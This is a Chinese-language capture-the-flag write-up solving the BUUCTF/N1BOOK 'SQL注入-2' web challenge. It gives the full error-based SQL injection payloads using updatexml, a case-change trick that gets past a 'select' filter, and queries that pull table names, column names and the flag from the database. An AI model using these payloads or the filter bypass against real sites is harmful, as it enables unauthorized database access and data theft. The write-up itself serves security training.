网络知识 娱乐 [BUUCTF][N1BOOK][第一章 web入门]SQL注入-2(详细解析)

[BUUCTF][N1BOOK][第一章 web入门]SQL注入-2(详细解析)

目录

题目链接:

题目解析:

得到flag:


题目链接:

https://buuoj.cn/challenges#[%E7%AC%AC%E4%B8%80%E7%AB%A0%20web%E5%85%A5%E9%97%A8]SQL%E6%B3%A8%E5%85%A5-2

题目解析:

注意查看细节,发现题目中有一处请访问,在上图标记的位置

我们按提示分别访问/login.php /user.php 去看看

进入页面后习惯性地查看源代码发现有一行注释提示,告诉我们:

可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦

 

 另一个页面则就只有一行 login first,没有太多用处

 页面提交的账号密码,在burp中抓到这个包,使用Ctrl+r将数据发送到repeater进行重发送

 然后在burp中的login.php后添加?tips=1,Send发送查看现象

 正常send提示账号不存在

 使用普通payload:,发现是select被过滤了 (密码写啥都行,因为前面注释掉密码了)

name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)--+&pass=xxxx

 尝试一下大小写绕过,成功得到正常回显

name=1'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)--+&pass=1' and 1=2 --+

查表名: 

sELEct后的1改为group_concat(table_name)dual改为information_schema.tables where table_schema=database()以查看所有表名

得到pyload:

name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+&pass=1' and 1=2 --+

 查看fl4g的字段:

要看fl4g的字段,分别改为把之前的两个地方改为group_concat(column_name)和information_schema.columns where table_name=‘fl4g’

得到pyload:

name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)--+&pass=1' and 1=2 --+

 查看字段获取flag

payload

name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)--+&pass=1' and 1=2 --+

得到flag

n1book{login_sqli_is_nice}

*题目原理*

1、有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入

2updatexml第二个参数应为合法XPATH路径,否则会在引发报错的同时输出传入的参数

3dual用于测试数据库是否可以正常使用

4、如果没有报错提示,可以bool注入